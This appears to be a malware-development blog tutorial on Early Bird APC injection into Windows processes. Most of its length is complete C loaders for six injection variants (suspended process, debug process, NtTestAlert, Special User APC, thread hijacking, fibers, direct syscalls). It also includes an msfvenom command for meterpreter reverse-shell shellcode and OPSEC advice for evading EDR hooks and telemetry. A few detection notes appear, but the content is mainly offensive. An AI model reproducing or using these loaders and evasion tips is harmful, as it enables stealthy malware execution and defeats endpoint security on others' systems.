ᛉ Yggdrasil

Malware development

Early Bird APC Injection

15 Sep 2026 · 5,572 words · 25 min

Contents

Legend: [INJECT] = Injection technique | [SYSCALL] = Windows API / syscall | [OPSEC] = Operational Security note | [DETECT] = Detection vector | [EVASION] = Bypass technique | [TOOL] = Tool reference | [FLAG] = Process creation flag


1. What is APC Injection?

What it means: APC (Asynchronous Procedure Call) injection is a code injection technique where shellcode is queued as an APC routine into a remote thread. When the target thread enters an alertable state, Windows automatically executes the queued APC — running attacker shellcode inside the target process.

The core problem APC injection solves:

Classic shellcode injection (CreateRemoteThread):
├─ VirtualAllocEx  → allocate memory in target
├─ WriteProcessMemory → write shellcode
├─ CreateRemoteThread → new thread = HIGHLY VISIBLE
└─ EDR: Thread created in remote process → ALERT

APC Injection:
├─ VirtualAllocEx  → allocate memory in target
├─ WriteProcessMemory → write shellcode
├─ QueueUserAPC → queue routine to existing thread
└─ Wait for alertable state → executes silently
    └─ No new thread created → less visible

APC types in Windows:

APC Type Who queues it Execution context
Kernel APC OS kernel Kernel mode — device drivers
Normal User APC User-mode code When thread enters alertable wait
Special User APC User-mode (Win10 1903+) Forces alertable state immediately

[OPSEC] APC injection requires the target thread to enter an alertable state (via SleepEx, WaitForSingleObjectEx, MsgWaitForMultipleObjectsEx, etc.). Not all threads do this regularly — that's the core limitation of classic APC injection.


2. What is Early Bird APC Injection?

What it means: Early Bird APC injection solves the alertable-state problem by injecting the APC before the target process's main thread even starts executing — while it's still in a suspended or pre-initialized state. At thread initialization, Windows always processes the APC queue. Shellcode executes at the very beginning — before any security product's hooks or monitoring code runs in the target.

Why "Early Bird":

Normal APC Injection:
  Target process running normally
  → Inject APC
  → Wait for alertable state (thread must call SleepEx etc.)
  → EDR hooks already in place inside target
  → AV/EDR scanning memory when shellcode executes
  → RISKY

Early Bird APC Injection:
  Create NEW process (suspended / debug mode)
  → Process initialized but main thread NOT executing yet
  → Inject APC
  → APC queue executes BEFORE ntdll.dll is mapped fully
  → EDR hooks NOT YET placed in new process
  → Resume thread → shellcode runs BEFORE security hooks
  → Shellcode in context of legitimate process

Why it evades EDR:

EDR Hook Placement Timeline:
  Process Created
      ↓
  ntdll.dll loaded
      ↓
  EDR DLL injected (via AppInit_DLLs, shims, or DLL injection)  ← EDR hooks placed HERE
      ↓
  Main thread resumes
      ↓
  App runs normally (all API calls hooked)

Early Bird runs shellcode BEFORE step 3:
  Process Created (SUSPENDED)
      ↓
  APC queued with shellcode pointer  ← We inject HERE
      ↓
  Thread resumed
      ↓
  APC executes (shellcode runs)  ← BEFORE EDR hooks placed
      ↓
  EDR DLL injected (too late — shellcode already ran)

[EVASION] This is the core advantage: shellcode executes in a window where EDR user-mode hooks don't yet exist in the target process.


3. Windows APC Internals

What it means: Understanding the kernel-level APC mechanism helps craft more reliable injections and understand detection vectors.

3.1 APC Queue Structure

KTHREAD structure (kernel):
  └─ ApcState
      ├─ ApcListHead[KernelMode]  ← kernel APCs list
      └─ ApcListHead[UserMode]    ← user APCs list (our target)

Each APC entry (KAPC):
  ├─ NormalRoutine   → user-mode function pointer (our shellcode)
  ├─ NormalContext   → argument passed to NormalRoutine
  ├─ SystemArgument1
  ├─ SystemArgument2
  └─ ApcMode        → KernelMode or UserMode

3.2 APC Execution Flow

Thread enters alertable state (SleepEx / WaitForSingleObjectEx):
  1. Kernel checks UserMode APC queue
  2. Dequeues APC entry
  3. Calls NormalRoutine(NormalContext, Arg1, Arg2)
  4. After return: checks queue again (repeats until empty)
  5. Thread resumes from wait

For Early Bird (suspended thread):
  1. Thread created, suspended — APC queue already exists
  2. We queue APC via QueueUserAPC / NtQueueApcThread
  3. Thread resumed (ResumeThread / NtResumeThread)
  4. ntdll initialization runs → processes APC queue
  5. Shellcode executes in context of target process

3.3 Alertable State APIs

APIs that put thread in alertable state (process APC queue):
  ├─ SleepEx(ms, TRUE)                          ← bAlertable = TRUE required
  ├─ WaitForSingleObjectEx(handle, ms, TRUE)
  ├─ WaitForMultipleObjectsEx(n, h, wait, ms, TRUE)
  ├─ MsgWaitForMultipleObjectsEx(...)
  ├─ SignalObjectAndWait(...)
  └─ NtDelayExecution(TRUE, ...)                ← NT native

APIs that do NOT trigger APC:
  ├─ Sleep(ms)                                  ← bAlertable = FALSE
  ├─ WaitForSingleObject(handle, ms)
  └─ MessageBox, ReadFile, etc. (unless async)

[DETECT] EDR monitors QueueUserAPC calls cross-process. The cross-process call is the main telemetry point.


4. Technique 1 — CREATE_SUSPENDED Flag

What it means: The most common and reliable Early Bird technique. A new process is created with CREATE_SUSPENDED — the main thread exists but has not started executing. Memory is allocated, shellcode written, APC queued, then the thread is resumed.

[FLAG] CREATE_SUSPENDED (0x00000004) — Process is created but primary thread is immediately suspended. Must call ResumeThread to start execution.

4.1 Step-by-Step Flow

1. CreateProcess(target.exe, ..., CREATE_SUSPENDED, ...)
   └─ Process created, primary thread suspended (handle in pi.hThread)

2. VirtualAllocEx(pi.hProcess, NULL, shellcode_size, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
   └─ Allocate RWX memory in target process

3. WriteProcessMemory(pi.hProcess, remote_addr, shellcode, shellcode_size, NULL)
   └─ Copy shellcode bytes into target process

4. QueueUserAPC((PAPCFUNC)remote_addr, pi.hThread, NULL)
   └─ Queue shellcode as APC on suspended primary thread

5. ResumeThread(pi.hThread)
   └─ Thread starts executing → processes APC queue → shellcode runs

6. CloseHandle(pi.hThread); CloseHandle(pi.hProcess)

4.2 Full C Implementation

#include <windows.h>
#include <stdio.h>

// Replace with your shellcode (e.g., msfvenom -f c -p windows/x64/meterpreter/reverse_tcp)
unsigned char shellcode[] = {
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc8, 0x00, 0x00, 0x00,
    // ... rest of shellcode ...
};
SIZE_T shellcode_size = sizeof(shellcode);

int main(void) {
    STARTUPINFOA si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    LPVOID remote_buf = NULL;

    // Step 1: Create target process in suspended state
    // Use a legitimate Windows binary as host
    if (!CreateProcessA(
            "C:\\Windows\\System32\\svchost.exe",   // target process
            NULL,                                    // command line
            NULL, NULL,                              // process/thread sec attrs
            FALSE,                                   // inherit handles
            CREATE_SUSPENDED | CREATE_NO_WINDOW,     // ← KEY FLAG
            NULL,                                    // environment
            NULL,                                    // current directory
            &si, &pi)) {
        printf("[-] CreateProcess failed: %lu\n", GetLastError());
        return 1;
    }
    printf("[+] Process created (PID: %lu) — SUSPENDED\n", pi.dwProcessId);

    // Step 2: Allocate RWX memory in remote process
    remote_buf = VirtualAllocEx(
        pi.hProcess,
        NULL,
        shellcode_size,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE      // RWX — note: flagged by some EDR
    );
    if (!remote_buf) {
        printf("[-] VirtualAllocEx failed: %lu\n", GetLastError());
        TerminateProcess(pi.hProcess, 0);
        return 1;
    }
    printf("[+] Allocated %zu bytes at %p in remote process\n", shellcode_size, remote_buf);

    // Step 3: Write shellcode into allocated memory
    SIZE_T bytes_written = 0;
    if (!WriteProcessMemory(
            pi.hProcess,
            remote_buf,
            shellcode,
            shellcode_size,
            &bytes_written)) {
        printf("[-] WriteProcessMemory failed: %lu\n", GetLastError());
        TerminateProcess(pi.hProcess, 0);
        return 1;
    }
    printf("[+] Wrote %zu bytes to remote process\n", bytes_written);

    // Step 4: Queue APC pointing to shellcode
    // QueueUserAPC queues an APC on the SUSPENDED primary thread
    if (!QueueUserAPC((PAPCFUNC)remote_buf, pi.hThread, NULL)) {
        printf("[-] QueueUserAPC failed: %lu\n", GetLastError());
        TerminateProcess(pi.hProcess, 0);
        return 1;
    }
    printf("[+] APC queued on thread %lu\n", pi.dwThreadId);

    // Step 5: Resume thread — APC executes before main thread code
    DWORD prev_suspend = ResumeThread(pi.hThread);
    if (prev_suspend == (DWORD)-1) {
        printf("[-] ResumeThread failed: %lu\n", GetLastError());
        TerminateProcess(pi.hProcess, 0);
        return 1;
    }
    printf("[+] Thread resumed — Early Bird APC executing!\n");

    // Cleanup handles (process continues running)
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);

    return 0;
}

4.3 OPSEC-Improved Version (RW then RX)

// More OPSEC-safe: allocate RW, write shellcode, then change to RX
// Avoids RWX allocation which is a strong EDR signal

LPVOID remote_buf = VirtualAllocEx(
    pi.hProcess, NULL, shellcode_size,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE          // ← RW only first
);

// Write shellcode
WriteProcessMemory(pi.hProcess, remote_buf, shellcode, shellcode_size, NULL);

// Change protection to RX (not RWX)
DWORD old_protect;
VirtualProtectEx(
    pi.hProcess, remote_buf, shellcode_size,
    PAGE_EXECUTE_READ,      // ← RX only (no write)
    &old_protect
);

// Now queue APC and resume
QueueUserAPC((PAPCFUNC)remote_buf, pi.hThread, NULL);
ResumeThread(pi.hThread);

4.4 Compile & Run

# MSVC (Windows)
cl.exe earlybird.c /Fe:earlybird.exe /link kernel32.lib

# MinGW cross-compile (Linux → Windows)
x86_64-w64-mingw32-gcc earlybird.c -o earlybird.exe -lkernel32

# Generate shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f c -o shellcode.h

# Run (Windows)
.\earlybird.exe

[DETECT] Telemetry points: CreateProcess(CREATE_SUSPENDED) → VirtualAllocEx → WriteProcessMemory → QueueUserAPC sequence. This pattern is well-known.


5. Technique 2 — DEBUG_PROCESS Flag

What it means: Create the target process with DEBUG_PROCESS flag. This makes the current process the debugger of the target. The target starts and immediately generates a LOAD_DLL_DEBUG_EVENT for ntdll.dll — at this exact moment, the primary thread is effectively suspended waiting for the debugger to continue it. We hijack this window to inject.

[FLAG] DEBUG_PROCESS (0x00000001) — Caller becomes the debugger; all debug events from target must be handled via WaitForDebugEvent / ContinueDebugEvent.

5.1 How DEBUG_PROCESS Creates the Early Bird Window

CreateProcess(DEBUG_PROCESS):
  1. Process created
  2. Loader starts — loads ntdll.dll
  3. Target fires: CREATE_PROCESS_DEBUG_EVENT  ← first debug event
  4. Target thread STOPS — waits for ContinueDebugEvent
  5. ← WE INJECT HERE (thread stopped, minimal code run)
  6. ContinueDebugEvent → target resumes
  7. Loader continues → more DLLs → eventually main()

5.2 Full C Implementation

#include <windows.h>
#include <stdio.h>

unsigned char shellcode[] = { /* your shellcode */ };
SIZE_T shellcode_size = sizeof(shellcode);

int main(void) {
    STARTUPINFOA si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    DEBUG_EVENT dbg_event = { 0 };
    LPVOID remote_buf = NULL;

    // Step 1: Create process under our debug control
    if (!CreateProcessA(
            "C:\\Windows\\System32\\notepad.exe",
            NULL, NULL, NULL, FALSE,
            DEBUG_PROCESS,      // ← DEBUG flag (no SUSPENDED needed)
            NULL, NULL, &si, &pi)) {
        printf("[-] CreateProcess failed: %lu\n", GetLastError());
        return 1;
    }
    printf("[+] Debuggee PID: %lu\n", pi.dwProcessId);

    BOOL injected = FALSE;

    // Step 2: Debug event loop — inject on first CREATE_PROCESS event
    while (WaitForDebugEvent(&dbg_event, INFINITE)) {

        if (dbg_event.dwDebugEventCode == CREATE_PROCESS_DEBUG_EVENT && !injected) {
            printf("[+] CREATE_PROCESS_DEBUG_EVENT received — injecting!\n");

            // Allocate memory in debuggee
            remote_buf = VirtualAllocEx(
                pi.hProcess, NULL, shellcode_size,
                MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
            );

            // Write shellcode
            WriteProcessMemory(pi.hProcess, remote_buf, shellcode, shellcode_size, NULL);

            // Change to RX
            DWORD old_prot;
            VirtualProtectEx(pi.hProcess, remote_buf, shellcode_size, PAGE_EXECUTE_READ, &old_prot);

            // Queue APC on primary thread
            QueueUserAPC((PAPCFUNC)remote_buf, pi.hThread, NULL);
            printf("[+] APC queued at %p\n", remote_buf);

            injected = TRUE;
        }

        // Continue the debug event (let process proceed)
        ContinueDebugEvent(
            dbg_event.dwProcessId,
            dbg_event.dwThreadId,
            DBG_CONTINUE
        );

        // Stop debugging after injection — detach
        if (injected) {
            DebugActiveProcessStop(pi.dwProcessId);
            printf("[+] Detached from debuggee — shellcode will run\n");
            break;
        }
    }

    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return 0;
}

5.3 DEBUG_PROCESS vs CREATE_SUSPENDED Comparison

Aspect CREATE_SUSPENDED DEBUG_PROCESS
Thread state Fully suspended Waiting on debug event
Injection window Before any code Before DLLs fully loaded
Complexity Low Medium (debug event loop)
Detach required No Yes (DebugActiveProcessStop)
EDR visibility Medium Lower (debug API less monitored)
Parent-child telemetry Yes Yes
Works on 64-bit targets Yes Yes

[OPSEC] DEBUG_PROCESS can be combined with DEBUG_ONLY_THIS_PROCESS to prevent child processes from inheriting debug state.

5.4 Combined Flags for Maximum Control

// Create suspended AND debug — maximum control
DWORD flags = CREATE_SUSPENDED | DEBUG_PROCESS | DEBUG_ONLY_THIS_PROCESS | CREATE_NO_WINDOW;
CreateProcessA(target, NULL, NULL, NULL, FALSE, flags, NULL, NULL, &si, &pi);

// Now you have BOTH:
// - Thread suspended (CREATE_SUSPENDED)
// - Debug event control (DEBUG_PROCESS)
// Inject → detach debug → resume thread

6. Technique 3 — NtTestAlert (Self-Injection Early Bird)

What it means: Instead of injecting into a remote process, use NtTestAlert to flush the APC queue of the current thread. This is a self-injection technique — useful for stageless loaders or when you want to execute shellcode within your own process. NtTestAlert forces the current thread to process its pending APCs immediately.

6.1 NtTestAlert Internals

NtTestAlert:
  → Checks current thread's user-mode APC queue
  → If queue not empty: executes all pending APCs
  → Returns STATUS_ALERTED if APCs were executed
  → Used internally by alertable waits

Key: You can queue an APC on your OWN thread then call NtTestAlert
     to force immediate execution (no waiting for alertable state)

6.2 Full C Implementation

#include <windows.h>
#include <stdio.h>

// NtTestAlert — not in standard headers, define manually
typedef NTSTATUS(NTAPI* pNtTestAlert)(VOID);

unsigned char shellcode[] = { /* your shellcode */ };
SIZE_T shellcode_size = sizeof(shellcode);

int main(void) {
    // Resolve NtTestAlert from ntdll
    pNtTestAlert NtTestAlert = (pNtTestAlert)GetProcAddress(
        GetModuleHandleA("ntdll.dll"), "NtTestAlert"
    );
    if (!NtTestAlert) {
        printf("[-] NtTestAlert not found\n");
        return 1;
    }
    printf("[+] NtTestAlert: %p\n", NtTestAlert);

    // Allocate memory in CURRENT process (no cross-process needed)
    LPVOID local_buf = VirtualAlloc(
        NULL, shellcode_size,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE
    );
    if (!local_buf) {
        printf("[-] VirtualAlloc failed: %lu\n", GetLastError());
        return 1;
    }

    // Write shellcode locally
    memcpy(local_buf, shellcode, shellcode_size);

    // Change to RX
    DWORD old_prot;
    VirtualProtect(local_buf, shellcode_size, PAGE_EXECUTE_READ, &old_prot);
    printf("[+] Shellcode at %p\n", local_buf);

    // Queue APC on OUR OWN thread (GetCurrentThread())
    if (!QueueUserAPC((PAPCFUNC)local_buf, GetCurrentThread(), NULL)) {
        printf("[-] QueueUserAPC failed: %lu\n", GetLastError());
        return 1;
    }
    printf("[+] APC queued on current thread\n");

    // Force APC execution — NtTestAlert flushes the queue NOW
    printf("[+] Calling NtTestAlert — shellcode will execute!\n");
    NtTestAlert();  // ← Shellcode executes here

    // Code below this point only reached if shellcode returns
    printf("[+] NtTestAlert returned\n");
    return 0;
}

6.3 NtTestAlert via SleepEx Alternative

// Alternative: use SleepEx with bAlertable=TRUE to flush APC queue
// This is less suspicious than NtTestAlert but requires a wait

QueueUserAPC((PAPCFUNC)local_buf, GetCurrentThread(), NULL);

// SleepEx with bAlertable=TRUE processes APC queue
// If APC executes and returns, SleepEx returns WAIT_IO_COMPLETION
DWORD result = SleepEx(0, TRUE);  // 0ms wait, alertable
if (result == WAIT_IO_COMPLETION) {
    printf("[+] APC executed (WAIT_IO_COMPLETION)\n");
}

[OPSEC] Self-injection avoids cross-process APIs (WriteProcessMemory, VirtualAllocEx) which are heavily monitored. Only local VirtualAlloc + QueueUserAPC to self + NtTestAlert — much lower telemetry footprint.


7. Technique 4 — Special User APC (Windows 10 1903+)

What it means: Windows 10 version 1903 introduced a new APC type: Special User APC. Unlike normal user APCs, Special User APCs execute immediately — the target thread does not need to be in an alertable state. This removes the biggest limitation of APC injection.

7.1 Special User APC vs Normal User APC

Normal User APC:
  → Queued to target thread
  → Waits for target to call SleepEx/WaitForSingleObjectEx etc.
  → If thread never enters alertable state: APC NEVER RUNS
  → Limitation: depends on target thread behavior

Special User APC:
  → Queued to target thread
  → Thread is immediately interrupted (like a software interrupt)
  → APC executes at NEXT safe point (not alertable state needed)
  → Limitation: Windows 10 1903+ only

7.2 The NtQueueApcThreadEx API

// NtQueueApcThreadEx — native API for Special User APC
// Not exported by name in older Windows — resolve manually

typedef enum _QUEUE_USER_APC_FLAGS {
    QueueUserApcFlagsNone    = 0x0,
    QueueUserApcFlagsSpecialUserApc = 0x1,  // ← Special User APC flag
} QUEUE_USER_APC_FLAGS;

typedef NTSTATUS(NTAPI* pNtQueueApcThreadEx)(
    HANDLE           ThreadHandle,
    HANDLE           UserApcReserveHandle,   // NULL for default
    QUEUE_USER_APC_FLAGS QueueUserApcFlags,  // QueueUserApcFlagsSpecialUserApc
    PVOID            ApcRoutine,             // shellcode address
    PVOID            SystemArgument1,
    PVOID            SystemArgument2,
    PVOID            SystemArgument3
);

7.3 Full C Implementation

#include <windows.h>
#include <stdio.h>

typedef enum _QUEUE_USER_APC_FLAGS {
    QueueUserApcFlagsNone = 0x0,
    QueueUserApcFlagsSpecialUserApc = 0x1,
} QUEUE_USER_APC_FLAGS;

typedef NTSTATUS(NTAPI* pNtQueueApcThreadEx)(
    HANDLE, HANDLE, QUEUE_USER_APC_FLAGS, PVOID, PVOID, PVOID, PVOID
);

unsigned char shellcode[] = { /* your shellcode */ };
SIZE_T shellcode_size = sizeof(shellcode);

int main(void) {
    STARTUPINFOA si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };

    // Resolve NtQueueApcThreadEx
    pNtQueueApcThreadEx NtQueueApcThreadEx = (pNtQueueApcThreadEx)GetProcAddress(
        GetModuleHandleA("ntdll.dll"), "NtQueueApcThreadEx"
    );
    if (!NtQueueApcThreadEx) {
        printf("[-] NtQueueApcThreadEx not found (requires Win10 1903+)\n");
        return 1;
    }

    // Create suspended process
    CreateProcessA(
        "C:\\Windows\\System32\\notepad.exe",
        NULL, NULL, NULL, FALSE,
        CREATE_SUSPENDED | CREATE_NO_WINDOW,
        NULL, NULL, &si, &pi
    );
    printf("[+] PID: %lu (suspended)\n", pi.dwProcessId);

    // Allocate and write shellcode
    LPVOID remote_buf = VirtualAllocEx(
        pi.hProcess, NULL, shellcode_size,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
    );
    WriteProcessMemory(pi.hProcess, remote_buf, shellcode, shellcode_size, NULL);

    DWORD old_prot;
    VirtualProtectEx(pi.hProcess, remote_buf, shellcode_size, PAGE_EXECUTE_READ, &old_prot);

    // Queue Special User APC — no alertable state required!
    NTSTATUS status = NtQueueApcThreadEx(
        pi.hThread,                         // target thread
        NULL,                               // reserve handle (NULL = default)
        QueueUserApcFlagsSpecialUserApc,    // ← SPECIAL USER APC
        (PVOID)remote_buf,                  // APC routine (shellcode)
        NULL, NULL, NULL                    // arguments
    );
    printf("[+] NtQueueApcThreadEx status: 0x%08X\n", status);

    // Resume thread — shellcode executes immediately (no alertable wait needed)
    ResumeThread(pi.hThread);
    printf("[+] Thread resumed with Special User APC\n");

    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return 0;
}

[DETECT] NtQueueApcThreadEx with QueueUserApcFlagsSpecialUserApc is increasingly monitored by modern EDR. The unusual flag value is a signature.

[OPSEC] Check Windows version before attempting — this fails silently on older systems if not checked:

OSVERSIONINFOEXW osvi = { sizeof(osvi) };
osvi.dwBuildNumber = 18362;  // Win10 1903 build number
ULONGLONG mask = VerSetConditionMask(0, VER_BUILDNUMBER, VER_GREATER_EQUAL);
if (!VerifyVersionInfoW(&osvi, VER_BUILDNUMBER, mask)) {
    printf("[-] Special User APC not supported (requires Win10 1903+)\n");
    return 1;
}

8. Technique 5 — Early Bird via Thread Hijacking

What it means: Instead of creating a new process, find a target process that has a thread in a suspended or idle state, hijack that thread's execution context via GetThreadContext / SetThreadContext, and redirect RIP (instruction pointer) to injected shellcode.

8.1 Thread Context Hijacking Flow

1. Find target process + enumerate threads (CreateToolhelp32Snapshot)
2. OpenThread(THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME)
3. SuspendThread(hThread)        ← suspend to safely read/write context
4. GetThreadContext(hThread, &ctx)  ← read registers (RIP, RSP, etc.)
5. VirtualAllocEx → WriteProcessMemory  ← inject shellcode
6. ctx.Rip = (DWORD64)remote_buf  ← redirect RIP to shellcode
7. SetThreadContext(hThread, &ctx)  ← write modified context
8. ResumeThread(hThread)          ← thread now jumps to shellcode

8.2 Full C Implementation

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

unsigned char shellcode[] = { /* your shellcode */ };
SIZE_T shellcode_size = sizeof(shellcode);

// Find thread belonging to target PID
HANDLE find_thread(DWORD pid) {
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (snap == INVALID_HANDLE_VALUE) return NULL;

    THREADENTRY32 te = { sizeof(te) };
    if (Thread32First(snap, &te)) {
        do {
            if (te.th32OwnerProcessID == pid) {
                CloseHandle(snap);
                printf("[+] Found thread TID: %lu (PID: %lu)\n", te.th32ThreadID, pid);
                return OpenThread(
                    THREAD_GET_CONTEXT | THREAD_SET_CONTEXT |
                    THREAD_SUSPEND_RESUME | THREAD_QUERY_INFORMATION,
                    FALSE, te.th32ThreadID
                );
            }
        } while (Thread32Next(snap, &te));
    }
    CloseHandle(snap);
    return NULL;
}

int main(void) {
    DWORD target_pid = 0;
    printf("[*] Enter target PID: ");
    scanf_s("%lu", &target_pid);

    HANDLE hProcess = OpenProcess(
        PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
        FALSE, target_pid
    );
    if (!hProcess) {
        printf("[-] OpenProcess failed: %lu\n", GetLastError());
        return 1;
    }

    HANDLE hThread = find_thread(target_pid);
    if (!hThread) {
        printf("[-] No thread found for PID %lu\n", target_pid);
        return 1;
    }

    // Suspend the thread before touching context
    SuspendThread(hThread);
    printf("[+] Thread suspended\n");

    // Read current context (must have CONTEXT_FULL flag)
    CONTEXT ctx = { 0 };
    ctx.ContextFlags = CONTEXT_FULL;
    if (!GetThreadContext(hThread, &ctx)) {
        printf("[-] GetThreadContext failed: %lu\n", GetLastError());
        ResumeThread(hThread);
        return 1;
    }
    printf("[+] RIP before: 0x%llx\n", ctx.Rip);

    // Inject shellcode into target process
    LPVOID remote_buf = VirtualAllocEx(
        hProcess, NULL, shellcode_size,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
    );
    WriteProcessMemory(hProcess, remote_buf, shellcode, shellcode_size, NULL);
    DWORD old_prot;
    VirtualProtectEx(hProcess, remote_buf, shellcode_size, PAGE_EXECUTE_READ, &old_prot);

    // Redirect RIP to shellcode
    ctx.Rip = (DWORD64)remote_buf;
    if (!SetThreadContext(hThread, &ctx)) {
        printf("[-] SetThreadContext failed: %lu\n", GetLastError());
        ResumeThread(hThread);
        return 1;
    }
    printf("[+] RIP hijacked to: %p\n", remote_buf);

    // Resume — thread executes shellcode
    ResumeThread(hThread);
    printf("[+] Thread resumed — executing shellcode\n");

    CloseHandle(hThread);
    CloseHandle(hProcess);
    return 0;
}

[DETECT] SetThreadContext cross-process is a very high-confidence EDR indicator. Combine with direct syscalls to reduce API hook visibility.


9. Technique 6 — Fiber-based Early Bird

What it means: Fibers are user-mode execution units within a thread. Convert the current thread to a fiber, allocate shellcode, create a new fiber pointing to shellcode, then switch to it. This avoids QueueUserAPC entirely.

9.1 Fiber Injection Flow

ConvertThreadToFiber(NULL)       ← convert current thread to fiber
VirtualAlloc(shellcode, PAGE_EXECUTE_READ)
CreateFiber(0, shellcode_addr, NULL)  ← create fiber pointing to shellcode
SwitchToFiber(shellcode_fiber)   ← execution switches to shellcode

9.2 C Implementation

#include <windows.h>
#include <stdio.h>

unsigned char shellcode[] = { /* your shellcode */ };
SIZE_T shellcode_size = sizeof(shellcode);

int main(void) {
    // Allocate shellcode memory (local process)
    LPVOID sc_mem = VirtualAlloc(NULL, shellcode_size,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    memcpy(sc_mem, shellcode, shellcode_size);
    DWORD old_prot;
    VirtualProtect(sc_mem, shellcode_size, PAGE_EXECUTE_READ, &old_prot);
    printf("[+] Shellcode at: %p\n", sc_mem);

    // Convert current thread to fiber
    LPVOID main_fiber = ConvertThreadToFiber(NULL);
    if (!main_fiber) {
        printf("[-] ConvertThreadToFiber failed: %lu\n", GetLastError());
        return 1;
    }
    printf("[+] Main fiber: %p\n", main_fiber);

    // Create a new fiber pointing to shellcode
    LPVOID sc_fiber = CreateFiber(0, (LPFIBER_START_ROUTINE)sc_mem, NULL);
    if (!sc_fiber) {
        printf("[-] CreateFiber failed: %lu\n", GetLastError());
        return 1;
    }
    printf("[+] Shellcode fiber: %p — switching!\n", sc_fiber);

    // Switch execution to shellcode fiber
    SwitchToFiber(sc_fiber);

    // If shellcode fiber returns, execution resumes here
    printf("[+] Returned from shellcode fiber\n");
    DeleteFiber(sc_fiber);
    return 0;
}

[OPSEC] Fiber injection is less commonly monitored. CreateFiber + SwitchToFiber have lower EDR telemetry than QueueUserAPC.


10. Syscall-Only Early Bird (Direct Syscalls)

What it means: EDR hooks sit in ntdll.dll's user-mode stubs. By calling syscalls directly (bypassing the ntdll stubs), we avoid EDR hooks entirely. This is the highest-OPSEC version of Early Bird.

10.1 Why Direct Syscalls?

Normal API call:
  QueueUserAPC (kernel32.dll)
    → NtQueueApcThread (ntdll.dll)  ← EDR HOOK HERE
        → syscall (kernel)

Direct syscall:
  mov rax, <syscall_number>
  mov r10, rcx
  syscall                           ← NO ntdll stub, NO hook
  → kernel directly

10.2 Syscall Numbers (Windows 10 22H2 x64)

Common Early Bird syscalls:
  NtAllocateVirtualMemory : 0x18
  NtWriteVirtualMemory    : 0x3A
  NtProtectVirtualMemory  : 0x50
  NtQueueApcThread        : 0x44
  NtResumeThread          : 0x52
  NtCreateProcess         : 0x4D

WARNING: Syscall numbers change across Windows versions!
Use dynamic resolution (SysWhispers3, HellsGate, Halo's Gate).

10.3 SysWhispers3 Usage

# Generate direct syscall stubs for Early Bird APIs
git clone https://github.com/klezVirus/SysWhispers3
cd SysWhispers3

# Generate for specific functions
python3 SysWhispers.py \
    --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtQueueApcThread,NtResumeThread,NtCreateUserProcess \
    --output syscalls \
    --arch x64

# Output: syscalls.h, syscalls.c, syscallsstubs.nasm / syscallsstubs.asm

10.4 Direct Syscall Early Bird Skeleton

#include "syscalls.h"   // SysWhispers3 generated

int main(void) {
    // All APIs below bypass ntdll hooks (direct syscalls)

    HANDLE hProcess = NULL, hThread = NULL;

    // NtCreateUserProcess or use WinAPI CreateProcess then go native
    // (NtCreateUserProcess is complex — simplest: use CreateProcess for process creation
    //  then use NT syscalls for injection operations)

    STARTUPINFOA si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL,
                   FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &si, &pi);

    // NT native allocation (bypasses hooks)
    PVOID remote_buf = NULL;
    SIZE_T alloc_size = shellcode_size;
    NtAllocateVirtualMemory(pi.hProcess, &remote_buf, 0, &alloc_size,
                            MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    // NT native write (bypasses hooks)
    SIZE_T bytes_written;
    NtWriteVirtualMemory(pi.hProcess, remote_buf, shellcode, shellcode_size, &bytes_written);

    // NT native protect (RW → RX)
    DWORD old_prot;
    SIZE_T protect_size = shellcode_size;
    NtProtectVirtualMemory(pi.hProcess, &remote_buf, &protect_size,
                           PAGE_EXECUTE_READ, &old_prot);

    // NT native queue APC (bypasses hooks)
    NtQueueApcThread(pi.hThread, (PPS_APC_ROUTINE)remote_buf, NULL, NULL, NULL);

    // NT native resume
    DWORD prev_count;
    NtResumeThread(pi.hThread, &prev_count);

    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return 0;
}
# Compile with SysWhispers3 stubs (MSVC)
cl.exe earlybird_syscalls.c syscalls.c /Fe:earlybird_syscalls.exe

# With NASM for asm stubs (MinGW)
nasm -f win64 syscallsstubs.nasm -o syscallsstubs.o
x86_64-w64-mingw32-gcc earlybird_syscalls.c syscalls.c syscallsstubs.o \
    -o earlybird_syscalls.exe -lkernel32

11. Process & Memory API Reference

11.1 Key APIs Summary

API Purpose Header Notes
CreateProcess Create target process windows.h Use CREATE_SUSPENDED or DEBUG_PROCESS
VirtualAllocEx Alloc memory in remote process windows.h Use PAGE_READWRITE then change to PAGE_EXECUTE_READ
WriteProcessMemory Write shellcode to remote windows.h Requires PROCESS_VM_WRITE access
VirtualProtectEx Change memory protection windows.h RW → RX pattern
QueueUserAPC Queue APC to thread windows.h Thread handle needs THREAD_SET_CONTEXT
ResumeThread Resume suspended thread windows.h Returns previous suspend count
NtQueueApcThread Native APC queue ntdll.lib Resolve via GetProcAddress
NtQueueApcThreadEx Special User APC ntdll.lib Win10 1903+ only
NtTestAlert Flush own APC queue ntdll.lib Self-injection
CreateFiber Create execution fiber windows.h Alternative to APC
